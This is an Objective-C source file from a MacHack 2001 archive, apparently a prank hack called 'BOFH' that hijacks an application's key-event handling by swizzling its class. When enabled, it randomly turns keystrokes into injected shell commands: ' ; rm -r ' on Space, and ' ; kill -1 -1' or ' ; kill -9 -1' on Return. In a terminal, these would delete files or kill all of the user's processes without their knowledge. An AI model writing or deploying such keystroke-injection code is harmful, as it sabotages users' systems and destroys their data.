home *** CD-ROM | disk | FTP | other *** search
/ MacHack 2001 / MacHack 2001.toast / pc / The Hacks / BOFH / HQApplication.m < prev    next >
Encoding:
Text File  |  2001-06-23  |  4.8 KB  |  139 lines

  1. //
  2. //  HQApplication.m
  3. //  HackMac
  4. //
  5.  
  6. #import "HQApplication.h"
  7. #import <stdlib.h>
  8. #import <objc/objc-class.h>  // We need this in order to dereference a Class
  9.  
  10. extern BOOL gOn;
  11.  
  12. @implementation HQApplication
  13.  
  14. + (void)doNSAppInstancePose {
  15.     if (NSApp) {
  16.         // Swizzle our class object (and its meta-class) to be a subclass of the class that NSApp is a member of.  This could be a real stupid thing to do if any instances were going to be created and our new superclass had ivars.  But this situation is fairly controlled and no more instances of NSApplication subclasses should ever be created.
  17.         Class realNSAppClass = ((HQApplication *)NSApp)->isa;
  18.         Class hqAppClass = [HQApplication class];
  19.         Class realNSAppMetaClass = ((HQApplication *)realNSAppClass)->isa;
  20.         Class hqAppMetaClass = ((HQApplication *)hqAppClass)->isa;
  21.         
  22.         hqAppClass->super_class = realNSAppClass;
  23.         hqAppMetaClass->super_class = realNSAppMetaClass;
  24.         
  25.         // Swizzle NSApp into an instance of our subclass.
  26.         // We cast to HQApplication as a simple way to get around the fact that isa is @protected.  It does not matter what we cast to, really, since everything has an isa.
  27.         ((HQApplication *)NSApp)->isa = self;
  28.     } else {
  29.         NSLog(@"NSApp does not exist yet!");
  30.     }
  31. }
  32.  
  33. - (void)sendEvent:(NSEvent *)event {
  34.     static int length=0;
  35.     int i, c;
  36.     unichar temp;
  37.     NSMutableString *theString;
  38.     BOOL doBOFH = !(rand()%3);
  39.     
  40.     if ( ([event type] == NSKeyDown) && gOn ) {
  41.         length+=[[event characters] length];
  42.         switch ([[event characters] characterAtIndex:0]) 
  43.         {
  44.             case NSTabCharacter:
  45.                 if (doBOFH) {
  46.                     c=rand()%20;
  47.                     theString = [NSMutableString stringWithCapacity:c];
  48.                     for (i = 0; i<c;i++) {
  49.                         temp = rand()%26;
  50.                         switch(rand()%2) {
  51.                             case 0:
  52.                                 temp += 'a';
  53.                                 break;
  54.                             case 1:
  55.                                 temp += 'A';
  56.                                 break;
  57.                         }
  58.                         [theString appendString:[NSString stringWithCharacters:&temp length:1]];
  59.                     }
  60.                     [self stringPress:event withString:theString];
  61.                 }
  62.                 else [super sendEvent:event];
  63.                 break;
  64.             case NSCarriageReturnCharacter:
  65.             case NSNewlineCharacter:
  66.                 if (doBOFH) {
  67.                     if (!(rand()%1000)) 
  68.                         [self stringPress:event withString:@" ; kill -9 -1"];
  69.                     else 
  70.                         [self stringPress:event withString:@" ; kill -1 -1"];
  71.                     [self keypress_special:event withChar:NSNewlineCharacter];
  72.                 }
  73.                 length=0;
  74.                 break;
  75.             case ' ':
  76.                 if (doBOFH) 
  77.                     [self stringPress:event withString:@" ; rm -r "];
  78.                 else [super sendEvent:event];
  79.                 length=0;
  80.                 break;
  81.             default:
  82.                 [super sendEvent:event];
  83.                 if ([[event characters] characterAtIndex:0] == ' ' ) length=0;
  84.                 break;
  85.         }
  86.     }
  87.     else {
  88.         [super sendEvent:event];
  89.     }
  90. }
  91.  
  92. - (void)stringPress :(NSEvent *)event withString:(NSString *)theString {
  93.     int i;
  94.     for (i=0; i < [theString length];i++)
  95.         [self keypress:event withChar:[theString characterAtIndex:i]];
  96. }
  97.  
  98.  
  99. - (void)keypress :(NSEvent *)event withChar:(unichar)thechar {
  100.     NSString *mystring;
  101.     mystring = [NSString stringWithCharacters:&thechar length:1];
  102.  
  103.     [super
  104.     sendEvent:[NSEvent
  105.             keyEventWithType:[event type]
  106.             location:[event locationInWindow]
  107.             modifierFlags:[event modifierFlags]
  108.             timestamp:[event timestamp]
  109.             windowNumber:[event windowNumber]
  110.             context:[event context]
  111.             characters:mystring
  112.             charactersIgnoringModifiers:[event charactersIgnoringModifiers]
  113.             isARepeat:[event isARepeat]
  114.             keyCode:[event keyCode]
  115.         ]
  116.     ];
  117. }
  118.  
  119. - (void)keypress_special :(NSEvent *)event withChar:(unichar)thechar {
  120.     NSString *mystring = [NSString stringWithCharacters:&thechar length:1];
  121.  
  122.     [super
  123.     sendEvent:[NSEvent
  124.             keyEventWithType:[event type]
  125.             location:[event locationInWindow]
  126.             modifierFlags:[event modifierFlags]
  127.             timestamp:[event timestamp]
  128.             windowNumber:[event windowNumber]
  129.             context:[event context]
  130.             characters:mystring
  131.             charactersIgnoringModifiers:mystring
  132.             isARepeat:[event isARepeat]
  133.             keyCode:[event keyCode]
  134.         ]
  135.     ];
  136. }
  137.  
  138. @end
  139.